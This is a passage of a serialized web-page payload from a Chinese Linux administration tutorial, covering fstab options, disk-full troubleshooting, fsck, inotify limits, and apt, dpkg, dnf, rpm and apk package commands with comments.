0",[63,90393,90394,90397,90410],{},[84,90395,90396],{},"6 fsck 顺序",[84,90398,90399,90401,90402,90404,90405,90407,90408],{},[22,90400,655],{}," 填 ",[22,90403,7993],{},"，其他本地盘 ",[22,90406,9292],{},"，网络\u002Fswap 填 ",[22,90409,628],{},[84,90411,90412],{},"别给 NFS 填非 0，会卡启动",[11,90414,90415,90416,4839,90419,90422,90423,90426,90427,272,90430,655,90432,272,90434,90436,90437,90440,90441,90444,90445,90448,90449,90452],{},"关键挂载选项：",[22,90417,90418],{},"nofail",[17,90420,90421],{},"设备不在也继续启动","，云主机加数据盘必写，否则盘被摘机就起不来）、",[22,90424,90425],{},"noatime","（不记录访问时间，显著降低读 IO）、",[22,90428,90429],{},"nodiratime",[22,90431,51906],{},[22,90433,51909],{},[22,90435,79485],{},"（上传目录必备安全项）、",[22,90438,90439],{},"nosuid","（同上）、",[22,90442,90443],{},"compress","（zfs\u002Fbtrfs）、",[22,90446,90447],{},"_netdev","（NFS：等网络就绪再挂）、",[22,90450,90451],{},"x-systemd.automount","（按需挂载）。",[53,90454,90456],{"id":90455},"_7-no-space-left完整排查","7. 「No space left」完整排查",[57,90458,90459,90470],{},[60,90460,90461],{},[63,90462,90463,90466,90468],{},[66,90464,90465],{},"步骤",[66,90467,5040],{},[66,90469,79395],{},[79,90471,90472,90486,90498,90519,90530,90545],{},[63,90473,90474,90476,90480],{},[84,90475,7993],{},[84,90477,90478],{},[22,90479,60022],{},[84,90481,90482,90483,90485],{},"块用满 → 进 2；",[22,90484,89521],{}," 未满 → 进 3",[63,90487,90488,90490,90495],{},[84,90489,9292],{},[84,90491,90492],{},[22,90493,90494],{},"du -xh \u002F --max-depth=2 | sort -h | tail",[84,90496,90497],{},"找目录大头；日志\u002Fdocker\u002F临时文件三大来源",[63,90499,90500,90503,90508],{},[84,90501,90502],{},"2b",[84,90504,90505],{},[22,90506,90507],{},"sudo lsof +L1 | sort -k7 -n | tail",[84,90509,90510,90515,90516,90518],{},[17,90511,90512,90514],{},[22,90513,16453],{}," 找不到大头时必查","：已删除但句柄未关的文件，",[22,90517,89457],{}," 算它占用；重启对应进程即释放",[63,90520,90521,90523,90527],{},[84,90522,351],{},[84,90524,90525],{},[22,90526,89820],{},[84,90528,90529],{},"inode 满 → 海量小文件，见第 4 节",[63,90531,90532,90534,90539],{},[84,90533,15097],{},[84,90535,90536],{},[22,90537,90538],{},"findmnt -T \u002F出错的路径",[84,90540,90541,90542,90544],{},"落在 ",[22,90543,51906],{}," 的挂载点上 → 是只读问题不是空间问题",[63,90546,90547,90549,90554],{},[84,90548,6508],{},[84,90550,90551],{},[22,90552,90553],{},"dmesg | tail -30",[84,90555,90556,1901,90559,90562],{},[22,90557,90558],{},"EXT4-fs error",[22,90560,90561],{},"Remounting filesystem read-only"," → 磁盘故障，见 fsck",[11,90564,90565,90568,90569,272,90572,90575,90576,90579,90580,90583],{},[22,90566,90567],{},"\u002Fvar\u002Flog"," 撑爆的标准处理：",[22,90570,90571],{},"journalctl --vacuum-size=200M",[22,90573,90574],{},"logrotate -f \u002Fetc\u002Flogrotate.conf"," 强制跑一次、清 docker 日志 ",[22,90577,90578],{},"truncate -s 0 \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\u002F*\u002F*-json.log","（治本是给 docker 配 ",[22,90581,90582],{},"log-opts"," 上限）。",[53,90585,90587],{"id":90586},"_8-fsck-为什么不能在挂载时跑","8. fsck —— 为什么不能在挂载时跑",[11,90589,90590,90593],{},[22,90591,90592],{},"fsck"," 直接改文件系统元数据。分区处于读写挂载时，内核正在并发写这些结构，检查器看到的是「正在变」的磁盘，会把正常状态判为不一致并「修复」成损坏——结果是文件系统当场报废。因此：",[57,90595,90596,90605],{},[60,90597,90598],{},[63,90599,90600,90603],{},[66,90601,90602],{},"情况",[66,90604,46031],{},[79,90606,90607,90630,90640,90651,90669],{},[63,90608,90609,90612],{},[84,90610,90611],{},"根分区\u002F已挂载分区要检查",[84,90613,90614,90617,90618,90621,90622,90625,90626,90629],{},[22,90615,90616],{},"sudo touch \u002Fforcefsck"," 后重启（老式）；或 ",[22,90619,90620],{},"shutdown -rF","；或改 fstab 第 6 字段并用 ",[22,90623,90624],{},"tune2fs -c 30 \u002Fdev\u002Fsda1"," 设次数触发；最稳是",[17,90627,90628],{},"救援模式\u002F单用户模式","或 Live CD",[63,90631,90632,90635],{},[84,90633,90634],{},"数据盘可下线",[84,90636,90637],{},[22,90638,90639],{},"sudo umount \u002Fdata && sudo fsck -fy \u002Fdev\u002Fvdb1 && sudo mount \u002Fdata",[63,90641,90642,90645],{},[84,90643,90644],{},"只想「检查不修」",[84,90646,90647,90650],{},[22,90648,90649],{},"sudo fsck -n \u002Fdev\u002Fsda1","（对挂载分区也不写，但结果不可靠，仅参考）",[63,90652,90653,90656],{},[84,90654,90655],{},"XFS",[84,90657,90658,90664,90665,90668],{},[17,90659,90660,90663],{},[22,90661,90662],{},"xfs_repair"," 同样必须卸载","；XFS 只支持离线修复（",[22,90666,90667],{},"xfs_check"," 已废弃）",[63,90670,90671,90674],{},[84,90672,90673],{},"看自动检查策略",[84,90675,90676],{},[22,90677,90678],{},"tune2fs -l \u002Fdev\u002Fsda1 | grep -E 'Maximum mount count|Check interval|Last check'",[11,90680,90681,90682,90685,90686,90688,90689,90692,90693,90695,90696,90699,90700,90703],{},"ext4 的 ",[22,90683,90684],{},"-y","（自动答 yes）适合无人值守，但会「修」掉本该保留的数据；重要盘用不带 ",[22,90687,90684],{}," 的交互模式或先 ",[22,90690,90691],{},"e2image"," 做元数据镜像。",[22,90694,90592],{}," 跑完找回的碎片在 ",[22,90697,90698],{},"\u002Flost+found","，文件名是 inode 号，可用 ",[22,90701,90702],{},"find \u002F -inum 123456"," 反查。",[53,90705,90707],{"id":90706},"_9-inotifywait-文件监控与那个著名的上限","9. inotifywait —— 文件监控与那个著名的上限",[308,90709,90711],{"className":3902,"code":90710,"language":3904,"meta":314,"style":314},"inotifywait -m -r -e modify,create,delete,move --format '%w %f %e' \u002Fsrv\u002Fapp\u002Fuploads\n# -m 持续监控、-r 递归、-e 指定事件、--format 输出好解析\ninotifywatch -t 60 \u002Fdata       # 统计一段时间内的事件计数\n",[22,90712,90713,90735,90740],{"__ignoreMap":314},[331,90714,90715,90718,90720,90722,90724,90727,90729,90732],{"class":333,"line":334},[331,90716,90717],{"class":501},"inotifywait",[331,90719,79305],{"class":344},[331,90721,81798],{"class":344},[331,90723,56478],{"class":344},[331,90725,90726],{"class":365}," modify,create,delete,move",[331,90728,50255],{"class":344},[331,90730,90731],{"class":365}," '%w %f %e'",[331,90733,90734],{"class":365}," \u002Fsrv\u002Fapp\u002Fuploads\n",[331,90736,90737],{"class":333,"line":341},[331,90738,90739],{"class":1003},"# -m 持续监控、-r 递归、-e 指定事件、--format 输出好解析\n",[331,90741,90742,90745,90747,90749,90751],{"class":333,"line":357},[331,90743,90744],{"class":501},"inotifywatch",[331,90746,48230],{"class":344},[331,90748,10600],{"class":344},[331,90750,90148],{"class":365},[331,90752,90753],{"class":1003},"       # 统计一段时间内的事件计数\n",[11,90755,90756,90757,90760,90761,90764,90765,90768,90769,322],{},"来自 ",[22,90758,90759],{},"inotify-tools"," 包（Debian ",[22,90762,90763],{},"apt install inotify-tools","，RHEL 在 EPEL）。监控失效\u002F程序报 ",[22,90766,90767],{},"inotify_add_watch(...) no space"," 时，",[17,90770,90771],{},"不是磁盘满，是 watch 数超限",[308,90773,90775],{"className":3902,"code":90774,"language":3904,"meta":314,"style":314},"cat \u002Fproc\u002Fsys\u002Ffs\u002Finotify\u002Fmax_user_watches      # 默认常为 8192\necho fs.inotify.max_user_watches=524288 | sudo tee -a \u002Fetc\u002Fsysctl.d\u002F99-inotify.conf\nsudo sysctl --system\n",[22,90776,90777,90787,90808],{"__ignoreMap":314},[331,90778,90779,90781,90784],{"class":333,"line":334},[331,90780,57384],{"class":501},[331,90782,90783],{"class":365}," \u002Fproc\u002Fsys\u002Ffs\u002Finotify\u002Fmax_user_watches",[331,90785,90786],{"class":1003},"      # 默认常为 8192\n",[331,90788,90789,90791,90794,90797,90799,90801,90803,90805],{"class":333,"line":341},[331,90790,49056],{"class":344},[331,90792,90793],{"class":365}," fs.inotify.max_user_watches=",[331,90795,90796],{"class":344},"524288",[331,90798,15984],{"class":616},[331,90800,53150],{"class":501},[331,90802,53153],{"class":365},[331,90804,57537],{"class":344},[331,90806,90807],{"class":365}," \u002Fetc\u002Fsysctl.d\u002F99-inotify.conf\n",[331,90809,90810,90812,90815],{"class":333,"line":357},[331,90811,37063],{"class":501},[331,90813,90814],{"class":365}," sysctl",[331,90816,90817],{"class":344}," --system\n",[11,90819,90820,90823,90824,90827,90828,90831],{},[22,90821,90822],{},"max_user_instances","（每个用户的 inotify 实例数）与 ",[22,90825,90826],{},"max_queued_events","（事件队列长度）也常在 CI\u002FIDE 环境需要调高。注意：",[17,90829,90830],{},"NFS\u002FFUSE 挂载点上的 inotify 不工作","（远程改动不会通知本机），跨机同步要用轮询或 rsync。",[53,90833,75156],{"id":90834},"踩坑提醒-13",[1773,90836,90837,90848,90853,90862,90868],{},[1662,90838,90839,90840,90843,90844,90847],{},"删了大文件空间没回来：先想「有没有进程还开着它」（",[22,90841,90842],{},"lsof +L1","），重启进程或 ",[22,90845,90846],{},": > 文件"," 截断，而不是再删一遍。",[1662,90849,90850,90852],{},[22,90851,57585],{}," 删目录树时正在被进程写入的日志会导致磁盘占用反而上升（inode 与块都被打开句柄占住），标准清理顺序是先停服务再清。",[1662,90854,90855,90857,90858,90861],{},[22,90856,17816],{}," 到非空目录会「隐藏」原内容，看起来数据丢了其实还在——",[22,90859,90860],{},"umount"," 就回来。",[1662,90863,90864,90865,90867],{},"云主机加盘后忘了 ",[22,90866,90418],{},"，运维把盘摘掉机器直接起不来进 emergency mode。这是最常见的线上事故之一。",[1662,90869,90870,90872,90873,90876,90877,90879,90880,161],{},[22,90871,27365],{}," 用于写盘时（",[22,90874,90875],{},"dd if=iso of=\u002Fdev\u002Fsdb","）输错设备名就是毁盘，永远先用 ",[22,90878,89991],{}," 确认，再三检查 ",[22,90881,90882],{},"of=",[48,90884,90886],{"id":90885},"十五软件包管理aptdnfapk","十五、软件包管理：apt、dnf、apk",[11,90888,90889],{},"包管理器的差异是发行版之间最大的日常摩擦：同一种需求（查文件归属、装某个包、看谁依赖它）在 Debian、RHEL、Alpine 上命令完全不同。这一章按体系列命令，然后把「三个反向查询」单独讲透——它们才是排障时真正要找的东西。",[4748,90891],{"height":14062,"src":90892,"title":90893},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F15-packages.html","示例 15：apt \u002F dnf \u002F rpm \u002F dpkg 的查询与安装",[53,90895,90897],{"id":90896},"_1-apt-debian-ubuntu-系","1. apt —— Debian \u002F Ubuntu 系",[308,90899,90901],{"className":3902,"code":90900,"language":3904,"meta":314,"style":314},"sudo apt update                    # 刷新索引——只刷新列表，不升级！装任何东西之前\nsudo apt install -y nginx          # 安装；-y 给脚本用。apt 交互式优先；脚本里用 apt-get（apt 会警告接口不稳定）\nsudo apt upgrade                   # 升级全部（保守，不删包）\nsudo apt full-upgrade              # 升级并允许删包（旧名 dist-upgrade），大版本迁移用\nsudo apt remove apache2            # 删包但留配置；purge 连配置一起删，重装时配置会被读回来\nsudo apt autoremove --purge        # 清理不再需要的依赖——会带走你手动装的孤儿包，看清楚列表再 yes\napt search nginx                   # 搜包名与描述（子串不是正则）\napt show nginx                     # 版本、依赖、大小、源——装之前先看\napt list --installed               # 已装列表；可 apt list --installed 'libssl*'\napt policy nginx                   # 候选版本与来源仓库——排「为什么装到旧版本」的唯一正解（含 Pin 优先级）\napt-cache madison nginx            # 各仓库里可用的版本清单\nsudo apt-mark hold linux-image-generic   # 钉住版本不升级（unhold 解开）——生产锁内核的标准做法\nsudo apt -s upgrade                # -s 模拟：看会动什么，不实际改动——生产升级前先跑这个\nsudo apt -f install                # 修依赖：dpkg -i 装失败后的正确一步\n",[22,90902,90903,90914,90930,90942,90954,90968,90983,90994,91005,91017,91029,91042,91058,91071],{"__ignoreMap":314},[331,90904,90905,90907,90909,90911],{"class":333,"line":334},[331,90906,37063],{"class":501},[331,90908,37066],{"class":365},[331,90910,59352],{"class":365},[331,90912,90913],{"class":1003},"                    # 刷新索引——只刷新列表，不升级！装任何东西之前\n",[331,90915,90916,90918,90920,90922,90925,90927],{"class":333,"line":341},[331,90917,37063],{"class":501},[331,90919,37066],{"class":365},[331,90921,13016],{"class":365},[331,90923,90924],{"class":344}," -y",[331,90926,58949],{"class":365},[331,90928,90929],{"class":1003},"          # 安装；-y 给脚本用。apt 交互式优先；脚本里用 apt-get（apt 会警告接口不稳定）\n",[331,90931,90932,90934,90936,90939],{"class":333,"line":357},[331,90933,37063],{"class":501},[331,90935,37066],{"class":365},[331,90937,90938],{"class":365}," upgrade",[331,90940,90941],{"class":1003},"                   # 升级全部（保守，不删包）\n",[331,90943,90944,90946,90948,90951],{"class":333,"line":371},[331,90945,37063],{"class":501},[331,90947,37066],{"class":365},[331,90949,90950],{"class":365}," full-upgrade",[331,90952,90953],{"class":1003},"              # 升级并允许删包（旧名 dist-upgrade），大版本迁移用\n",[331,90955,90956,90958,90960,90962,90965],{"class":333,"line":384},[331,90957,37063],{"class":501},[331,90959,37066],{"class":365},[331,90961,34151],{"class":365},[331,90963,90964],{"class":365}," apache2",[331,90966,90967],{"class":1003},"            # 删包但留配置；purge 连配置一起删，重装时配置会被读回来\n",[331,90969,90970,90972,90974,90977,90980],{"class":333,"line":397},[331,90971,37063],{"class":501},[331,90973,37066],{"class":365},[331,90975,90976],{"class":365}," autoremove",[331,90978,90979],{"class":344}," --purge",[331,90981,90982],{"class":1003},"        # 清理不再需要的依赖——会带走你手动装的孤儿包，看清楚列表再 yes\n",[331,90984,90985,90987,90989,90991],{"class":333,"line":418},[331,90986,47280],{"class":501},[331,90988,22071],{"class":365},[331,90990,58949],{"class":365},[331,90992,90993],{"class":1003},"                   # 搜包名与描述（子串不是正则）\n",[331,90995,90996,90998,91000,91002],{"class":333,"line":427},[331,90997,47280],{"class":501},[331,90999,85684],{"class":365},[331,91001,58949],{"class":365},[331,91003,91004],{"class":1003},"                     # 版本、依赖、大小、源——装之前先看\n",[331,91006,91007,91009,91011,91014],{"class":333,"line":439},[331,91008,47280],{"class":501},[331,91010,10160],{"class":365},[331,91012,91013],{"class":344}," --installed",[331,91015,91016],{"class":1003},"               # 已装列表；可 apt list --installed 'libssl*'\n",[331,91018,91019,91021,91024,91026],{"class":333,"line":450},[331,91020,47280],{"class":501},[331,91022,91023],{"class":365}," policy",[331,91025,58949],{"class":365},[331,91027,91028],{"class":1003},"                   # 候选版本与来源仓库——排「为什么装到旧版本」的唯一正解（含 Pin 优先级）\n",[331,91030,91031,91034,91037,91039],{"class":333,"line":456},[331,91032,91033],{"class":501},"apt-cache",[331,91035,91036],{"class":365}," madison",[331,91038,58949],{"class":365},[331,91040,91041],{"class":1003},"            # 各仓库里可用的版本清单\n",[331,91043,91044,91046,91049,91052,91055],{"class":333,"line":775},[331,91045,37063],{"class":501},[331,91047,91048],{"class":365}," apt-mark",[331,91050,91051],{"class":365}," hold",[331,91053,91054],{"class":365}," linux-image-generic",[331,91056,91057],{"class":1003},"   # 钉住版本不升级（unhold 解开）——生产锁内核的标准做法\n",[331,91059,91060,91062,91064,91066,91068],{"class":333,"line":785},[331,91061,37063],{"class":501},[331,91063,37066],{"class":365},[331,91065,15978],{"class":344},[331,91067,90938],{"class":365},[331,91069,91070],{"class":1003},"                # -s 模拟：看会动什么，不实际改动——生产升级前先跑这个\n",[331,91072,91073,91075,91077,91079,91081],{"class":333,"line":795},[331,91074,37063],{"class":501},[331,91076,37066],{"class":365},[331,91078,43839],{"class":344},[331,91080,13016],{"class":365},[331,91082,91083],{"class":1003},"                # 修依赖：dpkg -i 装失败后的正确一步\n",[53,91085,91087],{"id":91086},"_2-dpkg-本地包与文件归属","2. dpkg —— 本地包与文件归属",[308,91089,91091],{"className":3902,"code":91090,"language":3904,"meta":314,"style":314},"sudo dpkg -i .\u002Fpkg.deb             # 装本地 .deb——不解析依赖！缺依赖时 sudo apt -f install 补\ndpkg -l | awk '$2 ~ \u002F^i\u002F {print $2}'    # 只列在用的；rc 状态 = 已删但有残留配置\ndpkg -L nginx                      # 这个包装了哪些文件——找配置\u002F二进制在哪\ndpkg -S \u002Fetc\u002Fnginx\u002Fnginx.conf      # 这个文件属于哪个包\nsudo dpkg-reconfigure tzdata       # 重跑配置问答（locales、keyboard-configuration 同理）\napt-file search bin\u002Fconvert        # 查「未装的包」里谁有这个文件（apt install apt-file + apt-file update）\n",[22,91092,91093,91108,91124,91135,91146,91159],{"__ignoreMap":314},[331,91094,91095,91097,91100,91102,91105],{"class":333,"line":334},[331,91096,37063],{"class":501},[331,91098,91099],{"class":365}," dpkg",[331,91101,53226],{"class":344},[331,91103,91104],{"class":365}," .\u002Fpkg.deb",[331,91106,91107],{"class":1003},"             # 装本地 .deb——不解析依赖！缺依赖时 sudo apt -f install 补\n",[331,91109,91110,91112,91114,91116,91118,91121],{"class":333,"line":341},[331,91111,75008],{"class":501},[331,91113,43868],{"class":344},[331,91115,15984],{"class":616},[331,91117,82068],{"class":501},[331,91119,91120],{"class":365}," '$2 ~ \u002F^i\u002F {print $2}'",[331,91122,91123],{"class":1003},"    # 只列在用的；rc 状态 = 已删但有残留配置\n",[331,91125,91126,91128,91130,91132],{"class":333,"line":357},[331,91127,75008],{"class":501},[331,91129,75814],{"class":344},[331,91131,58949],{"class":365},[331,91133,91134],{"class":1003},"                      # 这个包装了哪些文件——找配置\u002F二进制在哪\n",[331,91136,91137,91139,91141,91143],{"class":333,"line":371},[331,91138,75008],{"class":501},[331,91140,51312],{"class":344},[331,91142,76635],{"class":365},[331,91144,91145],{"class":1003},"      # 这个文件属于哪个包\n",[331,91147,91148,91150,91153,91156],{"class":333,"line":384},[331,91149,37063],{"class":501},[331,91151,91152],{"class":365}," dpkg-reconfigure",[331,91154,91155],{"class":365}," tzdata",[331,91157,91158],{"class":1003},"       # 重跑配置问答（locales、keyboard-configuration 同理）\n",[331,91160,91161,91164,91166,91169],{"class":333,"line":397},[331,91162,91163],{"class":501},"apt-file",[331,91165,22071],{"class":365},[331,91167,91168],{"class":365}," bin\u002Fconvert",[331,91170,91171],{"class":1003},"        # 查「未装的包」里谁有这个文件（apt install apt-file + apt-file update）\n",[53,91173,91175],{"id":91174},"_3-dnf-与-rpm-rhel-centos-rocky-fedora-系","3. dnf 与 rpm —— RHEL \u002F CentOS \u002F Rocky \u002F Fedora 系",[11,91177,91178,5664,91180,91182,91183,91185,91186,91188],{},[22,91179,75013],{},[22,91181,75016],{}," 的继任者，命令基本兼容（",[22,91184,75016],{}," 现在通常是 ",[22,91187,75013],{}," 的软链接）：",[308,91190,91192],{"className":3902,"code":91191,"language":3904,"meta":314,"style":314},"sudo dnf -y install nginx          # 安装；dnf remove pkg 卸载（dnf autoremove 清依赖）\ndnf update --security              # 只打安全补丁；update-minimal 同义\ndnf search log \u002F dnf info nginx    # 搜 \u002F 详情\ndnf list available 'python3*'      # 列可用包\ndnf provides '*\u002Fnginx.conf'        # 哪个包提供这个文件路径——排缺库必备，比 apt-file 方便\ndnf repoquery --installed --whatrequires glibc   # 谁依赖它（删之前看）\ndnf repoquery -l pkg               # 包装了哪些文件（等价 rpm -ql）\nsudo dnf history                   # 事务历史；dnf history info 12 看详情\nsudo dnf history undo 12           # 回滚——yum 做不到，dnf 的最大优势\ndnf module list php                # RHEL8+ 模块流：同一包多版本；dnf module enable php:8.2\nsudo dnf install dnf-plugins-core  # 拿到 dnf config-manager（--add-repo URL）、builddep\nrpm -q nginx                       # 是否已装；rpm -qa 'nginx*' 模糊查\nrpm -ql nginx                      # 包内文件列表；--scripts 连安装脚本一起看\nrpm -qf \u002Fetc\u002Fmy.cnf                # 文件属于哪个包（对应 dpkg -S）\nrpm -qpi pkg.rpm \u002F rpm -qpl pkg.rpm  # 查未安装的 rpm 的信息\u002F文件清单\nsudo rpm -ivh pkg.rpm              # 安装（i 安装 v 显示 h 进度条）；依赖不满足会拒绝，改用 dnf install .\u002Fpkg.rpm\nrpm -V openssh-server              # 校验文件是否被改过：S5（大小\u002F摘要不符）、M（模式变）、?（缺失）\nsudo rpm -e pkg                    # 卸载并做依赖检查；--nodeps 强删会留下坏系统，别用\n",[22,91193,91194,91210,91222,91243,91258,91271,91289,91303,91314,91330,91345,91359,91370,91382,91395,91418,91432,91444],{"__ignoreMap":314},[331,91195,91196,91198,91201,91203,91205,91207],{"class":333,"line":334},[331,91197,37063],{"class":501},[331,91199,91200],{"class":365}," dnf",[331,91202,90924],{"class":344},[331,91204,13016],{"class":365},[331,91206,58949],{"class":365},[331,91208,91209],{"class":1003},"          # 安装；dnf remove pkg 卸载（dnf autoremove 清依赖）\n",[331,91211,91212,91214,91216,91219],{"class":333,"line":341},[331,91213,75013],{"class":501},[331,91215,59352],{"class":365},[331,91217,91218],{"class":344}," --security",[331,91220,91221],{"class":1003},"              # 只打安全补丁；update-minimal 同义\n",[331,91223,91224,91226,91228,91231,91233,91235,91238,91240],{"class":333,"line":357},[331,91225,75013],{"class":501},[331,91227,22071],{"class":365},[331,91229,91230],{"class":365}," log",[331,91232,6544],{"class":365},[331,91234,91200],{"class":365},[331,91236,91237],{"class":365}," info",[331,91239,58949],{"class":365},[331,91241,91242],{"class":1003},"    # 搜 \u002F 详情\n",[331,91244,91245,91247,91249,91252,91255],{"class":333,"line":371},[331,91246,75013],{"class":501},[331,91248,10160],{"class":365},[331,91250,91251],{"class":365}," available",[331,91253,91254],{"class":365}," 'python3*'",[331,91256,91257],{"class":1003},"      # 列可用包\n",[331,91259,91260,91262,91265,91268],{"class":333,"line":384},[331,91261,75013],{"class":501},[331,91263,91264],{"class":365}," provides",[331,91266,91267],{"class":365}," '*\u002Fnginx.conf'",[331,91269,91270],{"class":1003},"        # 哪个包提供这个文件路径——排缺库必备，比 apt-file 方便\n",[331,91272,91273,91275,91278,91280,91283,91286],{"class":333,"line":397},[331,91274,75013],{"class":501},[331,91276,91277],{"class":365}," repoquery",[331,91279,91013],{"class":344},[331,91281,91282],{"class":344}," --whatrequires",[331,91284,91285],{"class":365}," glibc",[331,91287,91288],{"class":1003},"   # 谁依赖它（删之前看）\n",[331,91290,91291,91293,91295,91297,91300],{"class":333,"line":418},[331,91292,75013],{"class":501},[331,91294,91277],{"class":365},[331,91296,43868],{"class":344},[331,91298,91299],{"class":365}," pkg",[331,91301,91302],{"class":1003},"               # 包装了哪些文件（等价 rpm -ql）\n",[331,91304,91305,91307,91309,91311],{"class":333,"line":427},[331,91306,37063],{"class":501},[331,91308,91200],{"class":365},[331,91310,60721],{"class":365},[331,91312,91313],{"class":1003},"                   # 事务历史；dnf history info 12 看详情\n",[331,91315,91316,91318,91320,91322,91325,91327],{"class":333,"line":439},[331,91317,37063],{"class":501},[331,91319,91200],{"class":365},[331,91321,60721],{"class":365},[331,91323,91324],{"class":365}," undo",[331,91326,683],{"class":344},[331,91328,91329],{"class":1003},"           # 回滚——yum 做不到，dnf 的最大优势\n",[331,91331,91332,91334,91337,91339,91342],{"class":333,"line":450},[331,91333,75013],{"class":501},[331,91335,91336],{"class":365}," module",[331,91338,10160],{"class":365},[331,91340,91341],{"class":365}," php",[331,91343,91344],{"class":1003},"                # RHEL8+ 模块流：同一包多版本；dnf module enable php:8.2\n",[331,91346,91347,91349,91351,91353,91356],{"class":333,"line":456},[331,91348,37063],{"class":501},[331,91350,91200],{"class":365},[331,91352,13016],{"class":365},[331,91354,91355],{"class":365}," dnf-plugins-core",[331,91357,91358],{"class":1003},"  # 拿到 dnf config-manager（--add-repo URL）、builddep\n",[331,91360,91361,91363,91365,91367],{"class":333,"line":775},[331,91362,75019],{"class":501},[331,91364,81175],{"class":344},[331,91366,58949],{"class":365},[331,91368,91369],{"class":1003},"                       # 是否已装；rpm -qa 'nginx*' 模糊查\n",[331,91371,91372,91374,91377,91379],{"class":333,"line":785},[331,91373,75019],{"class":501},[331,91375,91376],{"class":344}," -ql",[331,91378,58949],{"class":365},[331,91380,91381],{"class":1003},"                      # 包内文件列表；--scripts 连安装脚本一起看\n",[331,91383,91384,91386,91389,91392],{"class":333,"line":795},[331,91385,75019],{"class":501},[331,91387,91388],{"class":344}," -qf",[331,91390,91391],{"class":365}," \u002Fetc\u002Fmy.cnf",[331,91393,91394],{"class":1003},"                # 文件属于哪个包（对应 dpkg -S）\n",[331,91396,91397,91399,91402,91405,91407,91410,91413,91415],{"class":333,"line":805},[331,91398,75019],{"class":501},[331,91400,91401],{"class":344}," -qpi",[331,91403,91404],{"class":365}," pkg.rpm",[331,91406,6544],{"class":365},[331,91408,91409],{"class":365}," rpm",[331,91411,91412],{"class":344}," -qpl",[331,91414,91404],{"class":365},[331,91416,91417],{"class":1003},"  # 查未安装的 rpm 的信息\u002F文件清单\n",[331,91419,91420,91422,91424,91427,91429],{"class":333,"line":819},[331,91421,37063],{"class":501},[331,91423,91409],{"class":365},[331,91425,91426],{"class":344}," -ivh",[331,91428,91404],{"class":365},[331,91430,91431],{"class":1003},"              # 安装（i 安装 v 显示 h 进度条）；依赖不满足会拒绝，改用 dnf install .\u002Fpkg.rpm\n",[331,91433,91434,91436,91438,91441],{"class":333,"line":850},[331,91435,75019],{"class":501},[331,91437,81808],{"class":344},[331,91439,91440],{"class":365}," openssh-server",[331,91442,91443],{"class":1003},"              # 校验文件是否被改过：S5（大小\u002F摘要不符）、M（模式变）、?（缺失）\n",[331,91445,91446,91448,91450,91452,91454],{"class":333,"line":886},[331,91447,37063],{"class":501},[331,91449,91409],{"class":365},[331,91451,56478],{"class":344},[331,91453,91299],{"class":365},[331,91455,91456],{"class":1003},"                    # 卸载并做依赖检查；--nodeps 强删会留下坏系统，别用\n",[53,91458,91460],{"id":91459},"_4-apk-alpine容器里最常见","4. apk —— Alpine（容器里最常见）",[308,91462,91464],{"className":3902,"code":91463,"language":3904,"meta":314,"style":314},"apk add --no-cache curl bash       # 安装；--no-cache 免手动 update，镜像构建里标配\napk del .build-deps                # 卸载；多阶段构建里的假想依赖组\napk info -e curl                   # 存在则返回 0，脚本判断用\napk search -x 'curl*'              # 搜包；-x 精确名\napk policy busybox                 # 看版本与仓库来源\napk info -w \u002Fbin\u002Fsh                # 文件属于哪个包 → busybox\napk info -L pkg \u002F apk info -d pkg  # 包内文件 \u002F 包的依赖\napk audit                          # 检查被改动的受管文件——容器镜像审计\napk fix                            # 修复损坏安装\n",[22,91465,91466,91483,91496,91509,91523,91535,91549,91573,91583],{"__ignoreMap":314},[331,91467,91468,91470,91472,91475,91477,91480],{"class":333,"line":334},[331,91469,47283],{"class":501},[331,91471,28251],{"class":365},[331,91473,91474],{"class":344}," --no-cache",[331,91476,51108],{"class":365},[331,91478,91479],{"class":365}," bash",[331,91481,91482],{"class":1003},"       # 安装；--no-cache 免手动 update，镜像构建里标配\n",[331,91484,91485,91487,91490,91493],{"class":333,"line":341},[331,91486,47283],{"class":501},[331,91488,91489],{"class":365}," del",[331,91491,91492],{"class":365}," .build-deps",[331,91494,91495],{"class":1003},"                # 卸载；多阶段构建里的假想依赖组\n",[331,91497,91498,91500,91502,91504,91506],{"class":333,"line":357},[331,91499,47283],{"class":501},[331,91501,91237],{"class":365},[331,91503,56478],{"class":344},[331,91505,51108],{"class":365},[331,91507,91508],{"class":1003},"                   # 存在则返回 0，脚本判断用\n",[331,91510,91511,91513,91515,91517,91520],{"class":333,"line":371},[331,91512,47283],{"class":501},[331,91514,22071],{"class":365},[331,91516,79335],{"class":344},[331,91518,91519],{"class":365}," 'curl*'",[331,91521,91522],{"class":1003},"              # 搜包；-x 精确名\n",[331,91524,91525,91527,91529,91532],{"class":333,"line":384},[331,91526,47283],{"class":501},[331,91528,91023],{"class":365},[331,91530,91531],{"class":365}," busybox",[331,91533,91534],{"class":1003},"                 # 看版本与仓库来源\n",[331,91536,91537,91539,91541,91543,91546],{"class":333,"line":397},[331,91538,47283],{"class":501},[331,91540,91237],{"class":365},[331,91542,80890],{"class":344},[331,91544,91545],{"class":365}," \u002Fbin\u002Fsh",[331,91547,91548],{"class":1003},"                # 文件属于哪个包 → busybox\n",[331,91550,91551,91553,91555,91557,91559,91561,91564,91566,91568,91570],{"class":333,"line":418},[331,91552,47283],{"class":501},[331,91554,91237],{"class":365},[331,91556,75814],{"class":344},[331,91558,91299],{"class":365},[331,91560,6544],{"class":365},[331,91562,91563],{"class":365}," apk",[331,91565,91237],{"class":365},[331,91567,36867],{"class":344},[331,91569,91299],{"class":365},[331,91571,91572],{"class":1003},"  # 包内文件 \u002F 包的依赖\n",[331,91574,91575,91577,91580],{"class":333,"line":427},[331,91576,47283],{"class":501},[331,91578,91579],{"class":365}," audit",[331,91581,91582],{"class":1003},"                          # 检查被改动的受管文件——容器镜像审计\n",[331,91584,91585,91587,91590],{"class":333,"line":439},[331,91586,47283],{"class":501},[331,91588,91589],{"class":365}," fix",[331,91591,91592],{"class":1003},"                            # 修复损坏安装\n",[53,91594,91596],{"id":91595},"_5-三个反向查询跨体系对照","5. 三个反向查询：跨体系对照",[57,91598,91599,91613],{},[60,91600,91601],{},[63,91602,91603,91606,91608,91611],{},[66,91604,91605],{},"我要问的问题",[66,91607,74988],{},[66,91609,91610],{},"RHEL 系",[66,91612,74994],{},[79,91614,91615,91635,91655,91686,91707,91730],{},[63,91616,91617,91620,91625,91630],{},[84,91618,91619],{},"这个文件是谁装进来的",[84,91621,91622],{},[22,91623,91624],{},"dpkg -S \u002Fusr\u002Fbin\u002Fconvert",[84,91626,91627],{},[22,91628,91629],{},"rpm 